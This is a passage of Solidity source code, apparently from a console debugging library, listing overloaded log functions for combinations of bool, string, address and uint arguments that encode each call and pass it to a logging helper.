function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
